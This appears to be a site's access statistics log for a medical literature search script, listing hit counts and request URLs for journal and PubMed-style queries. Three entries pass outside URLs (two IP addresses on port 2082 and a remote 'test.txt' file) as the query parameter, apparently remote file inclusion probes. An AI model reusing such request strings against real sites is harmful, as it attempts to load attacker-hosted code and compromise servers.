195: : 7-Set-10 11:09: /medasq.php?z=J+Clin+Endocrinol+Metab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
195: : 6-Set-10 05:55: /medasq.php?z=Addiction&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
195: : 6-Set-10 02:51: /medasq.php?z=Atherosclerosis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
195: : 6-Set-10 18:40: /medasq.php?z=Indian+J+Exp+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
193: : 7-Set-10 02:17: /medasq.php?z=Invest+Ophthalmol+Vis+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
192: : 7-Set-10 12:04: /medasq.php?z=Diabetes&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
192: : 7-Set-10 23:11: /medasq.php?z=Prostaglandins+Leukot+Essent+Fatty+Acids&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
191: : 5-Set-10 15:50: /medasq.php?z=Drugs+Today+(Barc)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
189: : 7-Set-10 07:21: /medasq.php?z=Eur+Rev+Med+Pharmacol+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
185: : 7-Set-10 07:23: /medasq.php?z=Am+J+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
184: : 6-Set-10 15:19: /medasq.php?z=J+Urol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
184: : 4-Set-10 06:54: /medasq.php?z=J+Pharmacol+Exp+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
183: 0,01%: 5-Set-10 21:45: /medasq.php?z=(j+am+soc+nephrol+[ta]+OR+kidney+int+[ta]+OR+am+j+kidney+dis+[ta]+OR+nephron+[ta]+OR+clin+nephrol+[ta]+OR+nephrol+dial+transplant+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
183: : 7-Set-10 04:59: /medasq.php?z=Drugs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
182: 0,01%: 31-Ago-10 21:02: /medasq.php?z=(mol+pharmacol+[ta]+OR+br+j+pharmacol+[ta]+OR+j+pharmacol+exp+ther+[ta]+OR+eur+j+pharmacol+[ta]+OR+life+sci+[ta]+OR+biochem+pharmacol+[ta]+OR+pharmacol+biochem+behav+[ta]+)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
181: : 7-Set-10 21:45: /medasq.php?z=Am+J+Obstet+Gynecol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
181: : 4-Set-10 10:21: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
181: : 7-Set-10 01:25: /medasq.php?z=Aliment+Pharmacol+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
180: 0,01%: 4-Set-10 13:01: /medasq.php?z=(j+periodontol+[ta]+OR+j+dent+[ta]+OR+j+clin+periodontol+[ta]+OR+caries+res+[ta]+OR+acta+odontol+scand+[ta]+OR+j+am+dent+assoc+[ta]+OR+j+oral+maxillofac+surg+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
180: : 6-Set-10 16:11: /medasq.php?z=J+Lipid+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
180: 0,01%: 6-Set-10 06:45: /medasq.php?z="br j addict"[Journal] OR "alcohol clin exp res"[Journal] OR "alcohol"[Journal] OR "j stud alcohol"[Journal] OR "addiction"[Journal] OR "alcohol alcohol"[Journal] OR "drug alcohol depend"[Journal] OR "int j addict"[Journal]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
180: : 3-Set-10 16:12: /medasq.php?z=J+Nutr+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
178: : 28-Ago-10 20:33: /medasq.php?z=J+Miss+State+Med+Assoc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
178: : 5-Set-10 11:21: /medasq.php?z=Hypertension&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
177: 0,01%: 2-Set-10 11:56: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (neoplasms [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
176: : 1-Set-10 13:21: /medasq.php?z=Ann+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
176: 0,01%: 3-Set-10 22:02: /medasq.php?z=(j+infect+dis+[ta]+OR+infect+immun+[ta]+OR+vaccine+[ta]+OR+infect+control+hosp+epidemiol+[ta]+OR+am+j+trop+med+hyg+[ta]+OR+pediatr+infect+dis+j+[ta]+OR+sex+transm+dis+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
176: : 7-Set-10 23:13: /medasq.php?z=Clin+J+Am+Soc+Nephrol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
174: 0,01%: 7-Set-10 15:52: /medasq.php?z=(diabetes+[ta]+OR+j+bone+miner+res+[ta]+OR+diabetologia+[ta]+OR+j+clin+endocrinol+metab+[ta]+OR+diabetes+care+[ta]+OR+clin+endocrinol+oxf+[ta]+OR+psychoneuroendocrinology+[ta]+OR+diabetes+res+clin+pract+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
174: : 3-Set-10 19:25: /medasq.php?z=Cochrane+Database+Syst+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
173: : 2-Set-10 10:39: /medasq.php?z=Lipids&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
172: : 7-Set-10 18:54: /medasq.php?z=Free+Radic+Biol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
172: : 6-Set-10 20:27: /medasq.php?z=Minerva+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
172: : 7-Set-10 00:13: /medasq.php?z=Eur+J+Clin+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
171: : 28-Feb-10 01:34: /medasq.php?z=http://195.228.157.218:2082/index.html?
171: : 6-Set-10 05:58: /medasq.php?z=Wien+Klin+Wochenschr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
170: : 4-Set-10 13:01: /medasq.php?z=Clin+Nephrol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
169: : 3-Set-10 17:34: /medasq.php?z=Gastroenterol+Nurs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
168: : 3-Set-10 06:20: /medasq.php?z=J+Am+Diet+Assoc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
167: : 7-Set-10 11:04: /medasq.php?z=Lipids+Health+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
167: : 5-Set-10 12:53: /medasq.php?z=J+Nutr+Sci+Vitaminol+(Tokyo)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
167: : 5-Set-10 22:19: /medasq.php?z=Br+J+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
166: : 6-Set-10 16:25: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
165: : 6-Set-10 05:31: /medasq.php?z=J+Anim+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
165: : 17-Ott-09 22:12: /medasq.php?z=http://www.fitfactor.siemenstransport.com/test.txt??
165: : 6-Set-10 21:31: /medasq.php?z=Br+J+Haematol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
163: : 4-Set-10 01:47: /medasq.php?z=(blood+[ta]+OR+thromb+haemost+[ta]+OR+transfusion+[ta]+OR+br+j+haematol+[ta]+OR+leukemia+[ta]+OR+semin+hematol+[ta]+OR+eur+j+haematol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
163: : 7-Set-10 02:01: /medasq.php?z=Clin+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
162: : 7-Set-10 15:19: /medasq.php?z=Hum+Reprod&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
162: : 7-Nov-09 01:14: /medasq.php?z=http://193.255.208.32:2082/index.html?
161: : 6-Set-10 04:59: /medasq.php?z=Am+Heart+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
161: : 7-Set-10 15:35: /medasq.php?z=Arch+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
161: : 6-Set-10 00:25: /medasq.php?z=J+Oleo+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
161: : 5-Set-10 17:03: /medasq.php?z=Proc+Nutr+Soc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
160: : 31-Ago-10 12:43: /medasq.php?z=Carcinogenesis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
159: : 1-Set-10 13:09: /medasq.php?z=Am+J+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
159: : 6-Set-10 06:21: /medasq.php?z=Stroke&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
159: : 4-Set-10 17:01: /medasq.php?z=Int+J+Mol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
158: 0,01%: 5-Set-10 11:11: /medasq.php?z=(gastroenterology+[ta]+OR+hepatology+[ta]+OR+gut+[ta]+OR+j+hepatol+[ta]+OR+am+j+gastroenterol+[ta]+OR+eur+j+gastroenterol+hepatol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
157: : 4-Set-10 14:02: /medasq.php?z=Conn+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
157: : 7-Set-10 18:34: /medasq.php?z=Rheum+Dis+Clin+North+Am&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
156: : 3-Set-10 00:00: /medasq.php?z=Eur+J+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
156: : 6-Set-10 06:26: /medasq.php?z=J+Dairy+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
155: : 6-Set-10 22:43: /medasq.php?z=Platelets&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
154: : 2-Set-10 19:40: /medasq.php?z=Nutr+Clin+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
154: : 1-Set-10 09:45: /medasq.php?z=J+Int+Med+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
154: : 4-Set-10 09:01: /medasq.php?z=Ann+Rheum+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
154: : 5-Set-10 05:29: /medasq.php?z=J+Pediatr+Gastroenterol+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
153: : 23-Ago-10 14:38: /medasq.php?z=Physiol+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
153: : 5-Set-10 18:15: /medasq.php?z=J+Rheumatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
153: : 3-Set-10 04:20: /medasq.php?z=Urology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
153: : 1-Set-10 18:13: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 cardiovascular diseases [majr&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
153: : 4-Set-10 17:23: /medasq.php?z=Infez+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
153: : 6-Set-10 16:11: /medasq.php?z=Cardiovasc+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
153: : 6-Set-10 05:26: /medasq.php?z=J+Am+Coll+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
151: : 5-Set-10 08:59: /medasq.php?z=Scand+J+Rheumatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
148: : 7-Set-10 20:07: /medasq.php?z=J+Am+Vet+Med+Assoc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
148: : 3-Set-10 21:04: /medasq.php?z=J+Vasc+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
148: : 7-Set-10 16:53: /medasq.php?z=Arch+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
147: : 3-Set-10 23:55: /medasq.php?z=Alcohol+Clin+Exp+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
147: : 3-Set-10 01:37: /medasq.php?z=Clin+Exp+Pharmacol+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
147: : 6-Set-10 11:09: /medasq.php?z=Drug+News+Perspect&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
147: : 5-Set-10 03:28: /medasq.php?z=Acta+Obstet+Gynecol+Scand&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
147: : 4-Set-10 00:35: /medasq.php?z=Diabetes+Care&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
147: : 24-Ago-10 10:14: /medasq.php?z=World+J+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
147: : 7-Set-10 08:04: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
147: : 14-Ago-10 15:57: /medasq.php?z=Cancer+Biol+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
146: : 3-Set-10 15:57: /medasq.php?z=Arthritis+Rheum&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
146: : 6-Set-10 11:06: /medasq.php?z=Ann+Intern+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
145: : 7-Set-10 23:18: /medasq.php?z=Asia+Pac+J+Clin+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
145: : 6-Set-10 08:14: /medasq.php?z=Neurotoxicol+Teratol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
145: : 6-Set-10 19:18: /medasq.php?z=Epilepsy+Behav&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
145: : 5-Set-10 09:39: /medasq.php?z=Am+J+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
145: : 4-Set-10 20:18: /medasq.php?z=Am+J+Epidemiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
144: : 3-Set-10 21:28: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 hypertension [majr&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
143: : 7-Set-10 17:56: /medasq.php?z="br+j+addict"[Journal]+OR+"alcohol+clin+exp+res"[Journal]+OR+"alcohol"[Journal]+OR+"j+stud+alcohol"[Journal]+OR+"addiction"[Journal]+OR+"alcohol+alcohol"[Journal]+OR+%2
143: : 7-Set-10 11:38: /medasq.php?z=Prog+Neuropsychopharmacol+Biol+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
143: : 4-Set-10 23:27: /medasq.php?z=Psychiatry+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
142: : 4-Set-10 18:02: /medasq.php?z=Int+MS+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
142: : 2-Set-10 17:31: /medasq.php?z=Metabolism&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
142: : 6-Set-10 20:22: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
141: : 3-Set-10 20:30: /medasq.php?z=Southeast+Asian+J+Trop+Med+Public+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
141: : 5-Set-10 15:49: /medasq.php?z=Allergy&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
141: : 3-Set-10 09:23: /medasq.php?z=Aust+Fam+Physician&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
140: : 5-Set-10 20:15: /medasq.php?z=Nutr+Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
140: : 6-Set-10 07:35: /medasq.php?z=Vet+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
140: : 6-Set-10 18:25: /medasq.php?z=J+Behav+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
139: : 29-Ago-10 02:59: /medasq.php?z=Postgrad+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
139: : 4-Set-10 03:23: /medasq.php?z=Inflamm+Bowel+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
139: : 29-Ago-10 21:51: /medasq.php?z=Neuroscience&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
139: : 5-Set-10 22:18: /medasq.php?z=Clin+Pharmacol+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
138: : 1-Set-10 18:31: /medasq.php?z=Eur+Respir+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
138: : 4-Set-10 01:27: /medasq.php?z=Drug+Alcohol+Depend&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
138: : 6-Set-10 20:35: /medasq.php?z=(gastroenterology [ta] OR hepatology [ta] OR gut [ta] OR j hepatol [ta] OR am j gastroenterol [ta] OR eur j gastroenterol hepatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
138: : 4-Set-10 14:30: /medasq.php?z=Pediatrics&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
137: : 5-Set-10 09:39: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (diabetes mellitus [mesh] | diab* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
137: : 7-Set-10 12:42: /medasq.php?z=J+Clin+Epidemiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
137: : 31-Ago-10 14:17: /medasq.php?z=(arthritis rheum [ta] OR br j rheumatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
136: : 2-Set-10 02:55: /medasq.php?z=Insight&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
136: : 7-Set-10 01:04: /medasq.php?z=Mol+Nutr+Food+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
135: : 1-Set-10 17:38: /medasq.php?z=Med+J+Aust&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
134: : 7-Set-10 17:11: /medasq.php?z=Ophthalmologe&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
134: : 7-Set-10 12:52: /medasq.php?z=Int+J+Biochem+Cell+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
134: : 3-Set-10 02:26: /medasq.php?z=Nat+Clin+Pract+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
134: : 7-Set-10 19:31: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (mental disorders [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
133: : 30-Ago-10 05:55: /medasq.php?z=suboxone+or+(buprenorphine+and+naloxone)&abstract=0&quanti=20&highlight=1&daevidenziare=&dovesiamo=0&azione=Show
133: : 3-Set-10 20:42: /medasq.php?z=Endocrinology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
133: : 4-Set-10 15:27: /medasq.php?z=Curr+Med+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
133: : 4-Set-10 03:52: /medasq.php?z=Nutr+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
133: : 3-Set-10 22:27: /medasq.php?z=Neurobiol+Learn+Mem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
133: : 6-Set-10 07:17: /medasq.php?z=J+Biol+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
132: : 2-Set-10 09:09: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (autoimmune diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
132: : 28-Ago-10 01:42: /medasq.php?z=Ann+Nutr+Metab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
132: : 6-Set-10 00:24: /medasq.php?z=Circulation&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
132: : 4-Set-10 09:37: /medasq.php?z=Anesth+Analg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
132: : 4-Set-10 15:35: /medasq.php?z=Clin+Transl+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
131: : 5-Set-10 23:14: /medasq.php?z=Digestion&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
131: : 20-Ago-10 21:50: /medasq.php?z=Cardiovasc+Diabetol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
131: : 4-Set-10 01:34: /medasq.php?z=Mol+Cell+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
131: : 4-Set-10 01:06: /medasq.php?z=J+Am+Geriatr+Soc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
131: : 6-Set-10 19:30: /medasq.php?z=Scand+J+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
131: : 7-Set-10 02:53: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 hyperlipidemia [majr&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
131: : 6-Set-10 17:18: /medasq.php?z=Exp+Biol+Med+(Maywood)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
130: : 31-Ago-10 16:22: /medasq.php?z=Public+Health+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
130: : 6-Set-10 16:16: /medasq.php?z=J+Cell+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
130: : 4-Set-10 09:03: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (eye diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
130: : 5-Set-10 18:43: /medasq.php?z=Graefes+Arch+Clin+Exp+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
130: : 7-Set-10 19:05: /medasq.php?z=Ann+Otol+Rhinol+Laryngol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
130: : 3-Set-10 16:24: /medasq.php?z=Eur+J+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
129: : 5-Set-10 15:52: /medasq.php?z=Rheumatol+Int&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
129: : 5-Set-10 08:25: /medasq.php?z=Spine+(Phila+Pa+1976)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
129: : 4-Set-10 10:29: /medasq.php?z=Arch+Dis+Child&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
128: : 6-Set-10 22:38: /medasq.php?z=Transplantation&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
128: : 22-Ago-10 19:32: /medasq.php?z=Am+J+Addict&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
128: : 7-Set-10 17:51: /medasq.php?z=Nature&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
128: : 5-Set-10 11:08: /medasq.php?z=Appl+Physiol+Nutr+Metab&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
128: : 6-Set-10 18:02: /medasq.php?z=Biol+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
128: : 30-Ago-10 23:10: /medasq.php?z=Curr+Vasc+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
127: : 5-Set-10 15:25: /medasq.php?z=J+Med+Food&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
127: : 6-Set-10 08:36: /medasq.php?z=J+Clin+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
